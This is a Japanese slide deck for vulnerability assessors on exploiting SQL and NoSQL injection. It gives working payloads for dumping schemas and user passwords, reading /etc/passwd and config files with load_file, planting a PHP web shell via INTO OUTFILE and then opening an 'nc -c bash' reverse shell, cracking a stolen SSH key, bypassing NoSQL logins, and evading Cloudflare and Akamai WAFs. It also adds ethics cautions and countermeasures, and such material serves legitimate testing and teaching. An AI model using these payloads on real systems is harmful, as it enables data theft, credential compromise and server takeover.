SQLとNoSQL
インジェクション(利用編)

@salty_byte 2022/11/25

過去にあったSQLインジェクション

- Webアプリ（普通のパターン）
  - 検索機能
  - 「'and'a'='a」と「'and'a'='b」
- とある金融系スマホアプリ
  - 「'」や「"」でエラーが発生するものの、レスポンスに差異がない
  - TimeBased（sleep関数）を利用
- Windowsアプリ
  - HTTPSで通信を行う
  - XML形式の通信（Content-Type:application/xml）
  - SQLクエリーを直接送っていた（<query>SELECT id, name FROM table…</query>）
- PostgreSQL
  - 「'」でシステムエラーになるが、「sleep(10)」は動かない
  - MySQLだと思ってたらPosgreSQLを利用していた
  - 「' || pg_sleep(10) || ’」

ところで

脆弱性診断でSQLインジェクションの脆弱性を見つけても...

ところで

脆弱性診断でSQLインジェクションの脆弱性を見つけても...

- 証跡取得までしか行わない
  - データベースのバージョン情報
  - データベース内の情報
  - /etc/hosts

発表の目的

SQLインジェクションの具体的な悪用方法を知る。

- データベース内の機密情報取得
- サーバ内のファイル読み込み
- バックドア設置
- ログインバイパス（NoSQLの場合）

話すこと

1. SQLインジェクション攻撃手法
2. NoSQLインジェクション攻撃手法
3. 対策方法
4. 番外編
5. まとめ

注意事項

- 許可されていない環境に攻撃を仕掛けるのはNG！
- 脆弱性診断で特に気を付けること
  - システムを破壊する可能性がある
    - OR演算子
    - MySQLの場合：「+」、「||」
    - 複文
- 以下は脆弱性診断でもNG！
  - 削除し忘れる（削除できない）可能性がある
    - バックドア設置

注意事項：OR演算子について

- SQLの論理演算子
  - SELECT id,name FROM cars WHERE color = 'blue' OR color = 'red';
- 一見脆弱性診断でも使っていいように見えるが...

注意事項：OR演算子について

例：$db->query("UPDATE member SET password='".$hash."' WHERE id=".$id)

- $id に「1 OR 1=1」を入れると...
  - UPDATE member SET password='xxxx' WHERE id=1 OR 1=1;
  - member テーブルの全レコードの password が書き換わってしまう！
  - 「+」「||」等による暗黙の型変換も注意

参考：とある診断員とSQLインジェクション
https://www.slideshare.net/zaki4649/sql-35102177

考慮すべきこと

- 裏でどんなSQL文が呼び出されていそうかよく考えること！
  - UPDATE
  - DELETE

1. SQLインジェクション攻撃手法
2. NoSQLインジェクション攻撃手法
3. 対策方法
4. 番外編
5. まとめ

SQLインジェクション攻撃手法

（特に指定がない限りMySQL/MariaDBを対象とします）

基本:確認項目例

確認内容	パターンA	パターンB	備考
エラーがでるか	'	''	
レスポンスに差異があるか	'and'a'='a	'and'a'='b	文字列
レスポンスが差異があるか	token	to' 'ken	文字列 結合演算子によって異なる※1
エラーが出るか	abs(10)	abb(10)	数値 存在する関数としない関数
応答時間に差異があるか	sleep(0)	sleep(10)	数値
応答時間に差異があるか	'and(sleep(0))='	'and(sleep(10))='	文字列

※1: PostgreSQLでは「||」を文字列結合として扱う
SQL Serverでは「+」を文字列結合として扱う

脆弱性判明後

- 情報収集
  - データベースバージョン情報取得（@@version）
  - データベース内の機密情報取得
- サーバへ侵入できないか考える
  - サーバ内のファイル読み込み
  - バックドア設置

データベース内のデータ取得

- 機密情報
  - パスワード
  - クレジットカード情報 ※1
  - 顧客情報（企業名、名前、住所 etc…）
  - 非公開情報

※1: 大体のサーバでは非保持のはず

データベース内のデータ取得

- データ取得のために必要なもの（UNION SELECT利用の場合）
  - SELECT 列数 (+型)
  - スキーマ名
  - テーブル名
  - カラム名

例）ユーザのパスワード取得

- Webアプリ開発言語：PHP
- データベース：MySQL
- データ構造：
  - shopスキーマ
    - gamesテーブル (id: int, name: varchar(30), price: int, …)
    - usersテーブル (id: int, email: varchar(100), password: varchar(100), …)
- 検索クエリ（脆弱性のある箇所、外部からは見れない）：

```
SELECT id, name, price FROM shop.games WHERE price < ${price};
```

- 外部から読み取れること：
  - 入力した金額以下のゲーム名一覧が表示される
  - PHPなので、MySQL使っていそう

例）ユーザのパスワード取得

- SELECT 列数
  - ORDER BY: 列数があっていない場合、エラーになる
    - ERROR 1054 (42S22): Unknown column '4' in 'order clause'

```
SELECT id, name, price FROM shop.games WHERE price < 5000 order by 4;-- -
```

- スキーマ名取得
  - schema_name from information_schema.schemata

```
SELECT id, name, price FROM shop.games WHERE price < 5000 union select null, null, group_concat(schema_name) from information_schema.schemata;-- -
```

例）ユーザのパスワード取得

- テーブル名取得
  - table_name from information_schema.tables

```
SELECT id, name, price FROM shop.games WHERE price < 5000 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'shop';-- -
```

- カラム名取得
  - column_name from information_schema.columns

```
SELECT id, name, price FROM shop.games WHERE price < 5000 union select null, null, group_concat(column_name) from information_schema.columns where table_schema = 'shop' and table_name = 'users';-- -
```

例）ユーザのパスワード取得

- ユーザデータ取得

```
SELECT id, name, price FROM shop.games WHERE price < 5000 union select
id, email, password from users;-- -
```

例）ユーザのパスワード取得

- デモ

ブラインドインジェクション

- レスポンスにSQLクエリの実行結果が出力されないことがある
- 結果の差異のみわかる場合

```
1 AND (SELECT SUBSTR(table_name,1,1) FROM information_schema.tables='A')#
```

- エラーベース

```
1 AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'A'))#
```

- タイムベース
  - 時間がかかるため、最終手段に近い

```
1 AND (SELECT SLEEP(10) FROM users WHERE SUBSTR(table_name,1,1)='A')#
```

HackTricks
https://book.hacktricks.xyz/pentesting-web/sql-injection#exploiting-blind-sqli

効率化：ブラインドインジェクション

- 線形探索（タイムベース + 文字種が少ない場合※1）
- 二分探索
- 中国人剰余定理

※1: Time-based SQL Injectionは意外に実用的だった
https://blog.tokumaru.org/2015/04/time-based-sql-injection.html

サーバ内のファイル読み込み

- ホスト情報
  - /etc/hosts
  - c:\windows\system32\drivers\etc\hosts
- ユーザ情報
  - /etc/passwd
- 設定ファイル
  - /etc/php/8.1/apache2/php.ini
  - /etc/httpd/httpd.conf
  - /var/www/html/config.php
  - /var/www/html/.env
- ログファイル
  - /var/log/apache2/access.log
  - /var/log/nginx/access.log
- 環境変数
  - /proc/self/environ
- 証明書
  - .ssh

サーバ内のファイル読み込み

- load_file関数を利用する

```
SELECT id, name, price FROM shop.games WHERE price < 5000 union
select null, null, load_file('/etc/passwd');-- -
```

- nullが帰ってくる場合は、ファイルがないかデータベース内で権限が不足している

  https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_file

サーバ内のファイル読み込み

- 権限確認

```
show grants;
```

- secure_file_privで指定されているパス配下でしか読み書きできない

```
show variables like 'secure_file_priv';
```

空であれば動作する！⇒

```
mysql> show variables like 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.01 sec)
```

ファイルサイズ制限の確認: SHOW VARIABLES LIKE 'max_allowed_packet';

余談）Docker利用でMySQLを脆弱な設定にする

```
version: '3.3'
services:
  db:
    image: mysql:latest
    container_name: mysql
    volumes:
      - ./initdb.d:/docker-entrypoint-initdb.d
    command: --secure-file-priv=""
    environment:
      - MYSQL_DATABASE=shop
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_USER=user
      - MYSQL_PASSWORD=pass
```

サーバ内のファイル読み込み：ssh

- ユーザ権限でサービスが動いている場合、ユーザのssh接続情報を取得できる場合がある
  - **~/.ssh/id_rsa**：ssh秘密鍵
    - ssh公開鍵が置いてあるサーバにアクセスできるようになる
  - **~/.ssh/config**：ssh設定ファイル
    - 接続先等がわかる
  - **~/.ssh/authorized_keys**：接続可能な公開鍵を保持する

サーバ内のファイル読み込み：ssh

- 取得したid_rsaでssh接続

```
$ ssh -i id_rsa user@xxx.xxx.xxx.xxx
```

- id_rsaにパスフレーズが設定されている場合は、解析する必要がある

```
$ ssh2john id_rsa > id_rsa.hash
$ john -w=rockyou.txt id_rsa.hash
…
Press 'q' or Ctrl-C to abort, almost any other key for status
password123          (id_rsa)
…
```

バックドア設置

- 設定によってはサーバにファイルをアップロードできる可能性がある
- INTO OUTFILEを利用する
  - 例では、/var/www/html/の直下にWebシェルを配置している

```
SELECT id, name, price FROM shop.games WHERE price < UNION SELECT null, null,
"<? system($_REQUEST['cmd']); ?>" INTO OUTFILE '/var/www/html/cmd.php';-- -
```

バックドア利用

- cmd.phpにアクセスする
  - その後、Reverse Shell / Bind Shell等でサーバに侵入する

```
$ curl http://127.0.0.1/cmd.php?cmd=nc%20-c%20bash%20192.168.56.101%204444
```

```
nc -c bash 192.168.56.101 4444
```

サーバ侵入後

- システム権限奪取
  - ユーザ権限から権限昇格を試みる
- ランサムウェア設置
- コインマイナー設置
- 内部ネットワークから他のサーバへの侵入を試みる
- Webアプリケーションのソースコード改ざん

etc…

1. SQLインジェクション攻撃手法
2. NoSQLインジェクション攻撃手法
3. 対策方法
4. 番外編
5. まとめ

NoSQLインジェクション攻撃手法

（特に指定がない限りMongoDBを対象とします）

基本:確認項目

- 同じ結果を返すか
  - {"id":"56456"}
  - {"id":"56457-1"}
- AND
  - admin' && 'a'=='a
  - admin' && 'a'=='b
- OR
  - ' || 'a' == 'a'

ログインバイパス：application/x-www-form-urlencoded

例）username=admin&password=qwertyuiop

- username[$ne]=toto&password[$ne]=toto
- username[$regex]=.*&password[$regex]=.*
- username[$exists]=true&password[$exists]=true

$eq：Equal (==)
$ne：Not Equal (!=)
$regex：正規表現、「.*」全文字一致
$exists：値が存在するか

HackTricks: https://book.hacktricks.xyz/pentesting-web/nosql-injection

ログインバイパス：application/json

例）{"username":"admin","password"="qwertyuiop"}

- {"username":{"$ne":null},"password":{"$ne":null} }
- {"username":{"$ne":"foo"},"password":{"$ne":"bar"} }
- {"username":{"$gt":undefined},"password":{"$gt":undefined} }

$gt：より大きい
undefinedと比較することで常にtrueになる

HackTricks: https://book.hacktricks.xyz/pentesting-web/nosql-injection

ログインバイパス：原理

実装例）Node.js + Express.js

```
User.find({ "user": req.query.user, "password": req.query.password });
```

```
User.find({ "user": {"$ne":"foo"}, "password": {"$ne":"bar"} });
```

$neの構文：field "user"に対して、"foo"ではない値を持つ"user"を選択する

MySQLで表すと、where user <> 'foo'のような感じ

参考: https://www.mongodb.com/docs/manual/reference/operator/query/ne/
https://owasp.org/www-pdf-archive/GOD16-NOSQL.pdf

例）ログインバイパス

- やられアプリ
  https://github.com/Charlie-belmer/vulnerable-node-app

- デモ

1. SQLインジェクション攻撃手法
2. NoSQLインジェクション攻撃手法
3. 対策方法
4. 番外編
5. まとめ

対策方法

対策

根本的対策

- SQLインジェクションの脆弱性をなくす

保険的対策

- データベースに適切な設定を設定する
- データベースの定期的なバックアップ（ランサムウェア対策）
- WAFの導入

保険的対策:データベースに適切な設定をする

- 適切な権限を設定する
  - グローバルレベルの権限
  - データベースレベルの権限
  - テーブルレベルの権限
  - カラムレベルの権限
  - ALL権限にしない
- 外部からデータベースにアクセスできるようにしない
- データベースユーザのパスワードを容易なものにしない

1. SQLインジェクション攻撃手法
2. NoSQLインジェクション攻撃手法
3. 対策方法
4. 番外編
5. まとめ

番外編

LIMIT句

- LIMIT句に脆弱性があるとき何ができる？

```
SELECT id, name, price FROM shop.games LIMIT ${count};
```

LIMIT句

- 数値のみ利用できる場合
  - ページャとして使われている場合、数を大きくしてみる
    - 読み込みに時間がかかり、DoSに利用できる可能性がある

※注意：いきなり大きい数を入れるのはNG！
もしサーバがダウンすると、診断作業に影響が出る

LIMIT句

- LIMIT M,N
  - 先頭M行分飛ばして、N行分取り出す
  - limit 1とすると先頭1つ目
  - limit 1,1とすると先頭2つ目
  - limit 2,1とすると先頭3つ目

- LIMIT句の後ろにUNION句は使えないが、複文は使える可能性がある

WAF回避手法:1

- 1 AND 1=1
  - 1 %u0061ND 1=1
    - %u0061=A
  - 1%23%0AAND%23%0A1=1

WAF回避手法:2 Cloudflare WAF 2021年12月

- 禁止されている文字列
  - 空白
  - OR / AND
  - -- comment
  - # comment
  - ;
  - =

https://infosecwriteups.com/how-i-was-able-to-bypass-cloudflare-waf-for-sqli-payload-b9e7a4260026

WAF回避手法:2 Cloudflare WAF 2021年12月

- 1%27/**/%256fR/**/1%2521%253D2%253B%2523
  - 1' or 1!=2;#

https://infosecwriteups.com/how-i-was-able-to-bypass-cloudflare-waf-for-sqli-payload-b9e7a4260026

1. SQLインジェクション攻撃手法
2. NoSQLインジェクション攻撃手法
3. 対策方法
4. 番外編
5. まとめ

まとめ

まとめ

- SQLインジェクションは危険
  - データベースやサーバ内の機密情報取得
    - 他のシステム/サービスへの侵入の手掛かりになりえる
  - バックドアによるサーバ侵入
  - ログインを回避したなりすまし
- 診断時は破壊的な攻撃パターンは避ける
- 対策：そもそも脆弱性が埋め込まれないようにする
  - 適切な権限を指定して被害を最小限にする
- WAFは攻撃者にとって敵
  - 日々回避手法が考えられている

付録

参考：SQLポケットリファレンス

- [改訂第4版]SQLポケットリファレンス
  https://www.amazon.co.jp/dp/B06XBN7FTJ/
- 手元にあると便利な本（紙版）
- 各データベースで使えるコマンドがまとめられている

参考：脆弱性スキャナ

- sqlmap：https://sqlmap.org/
  - SQLインジェクション脆弱性を検知するオープンソースのツール

- NoSQLMap：https://github.com/codingo/NoSQLMap
  - NoSQLデータベースに対する脆弱性を検知するオープンソースのツール

参考：HackTheBox

- ペネトレーションテスト等の技術を学べるWebサービス
  - 他にもTryHackMeとかいろいろある
- SQLインジェクション脆弱性があっても実行制限がかかっている
  - ファイルアップロードやファイル読み込みができないことが多い
  - NoSQLが使われていることがある

HackTheBox: https://www.hackthebox.com/

WAF回避手法:3 Akamai WAF 2020年11月

- 'XOR(if(now()=sysdate(),sleep(5*5),0))OR'

https://twitter.com/K0to4m4tsukami/status/1332306120191434752?s=20&t=ZqWcF85ieVZE3bxSqIqbtw

Docker: PostgreSQL

- ネットワーク作成

```
$ docker network create psql-network
```

- サーバ起動

```
$ docker run --rm --name postgres -h postgres --network psql-network -e
POSTGRES_PASSWORD=postgres -d postgres
```

- 実行

```
$ docker exec -it postgres psql -h postgres -U postgres
```

- 停止

```
$ docker stop postgres
```

Docker: MySQL

- サーバ起動

```
$ docker run –rm -it --name mysql -e MYSQL_ROOT_PASSWORD=mysql -d mysql
```

- 実行

```
$ docker exec -it mysql mysql -u root -p
```

- 停止

```
$ docker stop mysql
```

このスライドで使用しているデータ作成（MySQL）

```
create database shop;
use shop;
create table games  (id int primary key, name varchar(30), price int);
create table users (id int primary key, email varchar(100), password varchar(100), nickname varchar(50));

insert into games values (1,'poke',5000),(2,'dq',4000),(3,'final f',7000);
insert into users values
(1,'admin@example.com','$2a$10$S9xZxKKtdY6gkK7drrvb/.YloD1nWNFytbIo1E3XCL/7818qgo99q',''),
(2,'sales@example.com','$2a$10$ziyqOLxFFiT.LORzdVpPceYy8vEy4D8BycBdPDhjgTWpPSYsvtE/2','');
```